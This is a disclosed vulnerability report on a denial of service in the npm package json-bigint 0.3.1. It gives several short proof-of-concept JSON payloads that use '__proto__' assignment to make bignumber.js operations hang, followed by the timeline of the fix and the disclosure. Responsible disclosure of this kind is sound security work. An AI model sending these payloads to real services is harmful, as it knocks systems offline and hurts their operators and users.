1

[json-bigint] DoS via `__proto__` assignment

Share:

TIMELINE

chalker submitted a report to Node.js third-party modules. Jul 6th (2 years ago)

I would like to report a DoS in `json-bigint`.
It allows to cause denial of service using very limited input (~70 bytes).

Module

module name: `json-bigint`
version: 0.3.1
npm page: `https://www.npmjs.com/package/json-bigint`

Module Description

> JSON.parse/stringify with bigints support. Based on Douglas Crockford JSON.js package and bignumber.js library.

Module Stats

2 301 424 weekly downloads

Vulnerability

Vulnerability Description

Json parsing library assigns to `__proto__`, which can be abused to confuse `bignumber.js` library, causing a DoS on various operations with the resulting number (stringification, arithmetic) via a very small input (70 bytes).

Steps To Reproduce:

Code 176 Bytes Wrap lines Copy Download

```
const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())
```

Note that the object parsed, but an attempt to convert it to a string (or to do any arithmetic operation on it) will hang.

Demo with arithmetic operation hanging:

Code 169 Bytes Wrap lines Copy Download

```
const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"0":42,"length":2}}'
const r = JSONbig.parse(json)
r.dividedBy(42)
```

Patch

Be careful when assigning to `__proto__` value.

Supporting Material/References:

- [OPERATING SYSTEM VERSION]: `Linux xps 5.7.6-arch1-1 #1 SMP PREEMPT Thu, 25 Jun 2020 00:14:47 +0000 x86_64 GNU/Linux`
-

Wrap up

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Impact

Denial of service via untrusted input.

chalker posted a comment. Jul 8th (2 years ago)

> I contacted the maintainer to let them know

Now "Y".

Could someone add https://github.com/sidorares to the conversation, please?

chalker posted a comment. Jul 8th (2 years ago)

Even shorter version for arithmetic operations:

Code 139 Bytes Wrap lines Copy Download

```
const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":[{}]}'
const r = JSONbig.parse(json)
r.dividedBy(42)
```

chalker posted a comment. Jul 8th (2 years ago)

```
const r = JSONbig.parse(json)
r.minus(1)
```

sidorares joined this report as a participant. Jul 8th (2 years ago)

sidorares posted a comment. Jul 14th (2 years ago)

published v1.0.0 release with a fix

danielruf Node.js third-party modules staff posted a comment. Aug 2nd (2 years ago)

Thanks for the update and releasing a new version with a fix @sidorares.
@chalker can you confirm that this resolves the reported issue?

chalker posted a comment. Updated Aug 24th (2 years ago)

This issue looks fixed in the security sense.
I have some questions about the fix, but those are not related to security.
This report can be closed, sorry for the delayed recheck.

marcinhoppe Node.js third-party modules staff closed the report and changed the status to **Resolved**. Aug 25th (2 years ago)

marcinhoppe Node.js third-party modules staff requested to disclose this report. Aug 25th (2 years ago)

chalker agreed to disclose this report. Aug 25th (2 years ago)

This report has been disclosed. Aug 25th (2 years ago)

marcinhoppe Node.js third-party modules staff changed the scope from **Other module** to **json-bigint**. Aug 26th (2 years ago)